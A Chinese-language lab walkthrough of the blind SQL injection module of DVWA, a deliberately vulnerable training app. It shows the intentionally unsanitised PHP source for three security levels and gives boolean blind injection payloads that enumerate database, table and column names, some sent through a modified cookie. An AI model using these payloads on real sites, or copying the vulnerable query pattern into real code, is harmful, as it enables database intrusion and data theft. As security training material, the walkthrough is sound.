DVWA簡介
DVWA(Damn Vulnerable Web Application)是一個用來進行安全脆弱性鑒定的PHP/MySQL Web應用,旨在為安全專業人員測試自己的專業技能和工具提供合法的環境,幫助web開發者更好的理解web應用安全防范的過程。
DVWA共有十個模塊,分別是Brute Force(暴力(破解))、Command Injection(命令行注入)、CSRF(跨站請求偽造)、File Inclusion(文件包含)、File Upload(文件上傳)、Insecure CAPTCHA(不安全的驗證碼)、SQL Injection(SQL注入)、SQL Injection(Blind)(SQL盲注)、XSS(Reflected)(反射型跨站腳本)、XSS(Stored)(存儲型跨站腳本)。
需要注意的是,DVWA 1.9的代碼分為四種安全級別:Low,Medium,High,Impossible。初學者可以通過比較四種級別的代碼,接觸到一些PHP代碼審計的內容。
SQL Injection(Blind)
SQL Injection(Blind),即SQL盲注,與一般注入的區別在於,一般的注入攻擊者可以直接從頁面上看到注入語句的執行結果,而盲注時攻擊者通常是無法從顯示頁面上獲取執行結果,甚至連注入語句是否執行都無從得知,因此盲注的難度要比一般注入高。目前網絡上現存的SQL注入漏洞大多是SQL盲注。
手工盲注思路
手工盲注的過程,就像你與一個機器人聊天,這個機器人知道的很多,但只會回答“是”或者“不是”,因此你需要詢問它這樣的問題,例如“數據庫名字的第一個字母是不是a啊?”,通過這種機械的詢問,最終獲得你想要的數據。
盲注分為基於布爾的盲注、基於時間的盲注以及基於報錯的盲注,這里由於實驗環境的限制,只演示基於布爾的盲注與基於時間的盲注。
下面簡要介紹手工盲注的步驟(可與之前的手工注入作比較,在之前的鏈接寫過):
1.判斷是否存在注入,注入是字符型還是數字型
2.猜解當前數據庫名
3.猜解數據庫中的表名
4.猜解表中的字段名
5.猜解數據
LOW:
代碼:
<?php if( isset( $_GET[ 'Submit' ] ) ) { // Get input $id = $_GET[ 'id' ]; // Check database $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors // Get results $num = @mysql_numrows( $result ); // The '@' character suppresses errors if( $num > 0 ) { // Feedback for end user echo '<pre>User ID exists in the database.</pre>'; } else { // User wasn't found, so the page wasn't! header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); // Feedback for end user echo '<pre>User ID is MISSING from the database.</pre>'; } mysql_close(); } ?>
可以看到,Low級別的代碼對參數id沒有做任何檢查、過濾,存在明顯的SQL注入漏洞,同時SQL語句查詢返回的結果只有兩種,
User ID exists in the database.
‘與‘
`User ID is MISSING from the database.`
,因此這里是SQL盲注漏洞。
注入方法一:布爾盲注
輸入1’ and 1=1 #,顯示存在:
輸入1’ and 1=2 #,顯示不存在:
存在字符型的盲注。
然后猜解數據庫名:輸入1’ and length(database())=4 #,顯示存在:說明長度為4
然后采用二分法猜解數據庫的名字,可以用if函數,這里用的ASCII值,道理都是一樣的:
1’ and ascii(substr(databse(),1,1))=100 #
第一個字母的ASCII值是100,也就是d,以此類推得出數據庫名是dvwa。
之后猜解表名:
1’ and (select count (table_name) from information_schema.tables where table_schema=database() )=2 #
說明有兩個表。
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #
顯示存在,說明第一個表的長度是9.
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103 #
顯示存在,說明第一個字母是g。
再重復步驟猜解,即可猜解出兩個表名(guestbook、users)。
然后猜解字段名:
猜解數量:1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)=8 #
顯示存在,說明一共8個字段。
然后再利用2分法猜解字段名和字段中數據。
除了2分法,還有其他的盲注方法,比如延時注入,在之前的sqli-labs有介紹,在這不多說。
MEDIUM:
代碼:
<?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $id = $_POST[ 'id' ]; $id = mysql_real_escape_string( $id ); // Check database $getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors // Get results $num = @mysql_numrows( $result ); // The '@' character suppresses errors if( $num > 0 ) { // Feedback for end user echo '<pre>User ID exists in the database.</pre>'; } else { // Feedback for end user echo '<pre>User ID is MISSING from the database.</pre>'; } //mysql_close(); } ?>
可以看到,Medium級別的代碼利用mysql_real_escape_string函數對特殊符號
\x00,\n,\r,\,’,”,\x1a進行轉義,同時前端頁面設置了下拉選擇表單,希望以此來控制用戶的輸入。
這種情況就和顯注教程類似,通過抓包修改id的值進行注入,在這不再演示。
high:
代碼:
<?php if( isset( $_COOKIE[ 'id' ] ) ) { // Get input $id = $_COOKIE[ 'id' ]; // Check database $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors // Get results $num = @mysql_numrows( $result ); // The '@' character suppresses errors if( $num > 0 ) { // Feedback for end user echo '<pre>User ID exists in the database.</pre>'; } else { // Might sleep a random amount if( rand( 0, 5 ) == 3 ) { sleep( rand( 2, 4 ) ); } // User wasn't found, so the page wasn't! header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); // Feedback for end user echo '<pre>User ID is MISSING from the database.</pre>'; } mysql_close(); } ?>
可以看到,High級別的代碼利用cookie傳遞參數id,當SQL查詢結果為空時,會執行函數sleep(seconds),目的是為了擾亂基於時間的盲注。同時在 SQL查詢語句中添加了LIMIT 1,希望以此控制只輸出一個結果。
漏洞利用:
雖然添加了LIMIT 1,但是我們可以通過#將其注釋掉。但由於服務器端執行sleep函數,會使得基於時間盲注的准確性受到影響,這里我們只演示基於布爾的盲注:
抓包將cookie中參數id改為1’ and length(database())=4 #,顯示存在,說明數據庫名的長度為4個字符;
抓包將cookie中參數id改為1’ and length(substr(( select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,顯示存在,說明數據中的第一個表名長度為9個字符;
抓包將cookie中參數id改為1’ and (select count(column_name) from information_schema.columns where table_name=0×7573657273)=8 #,(0×7573657273 為users的16進制),顯示存在,說明uers表有8個字段。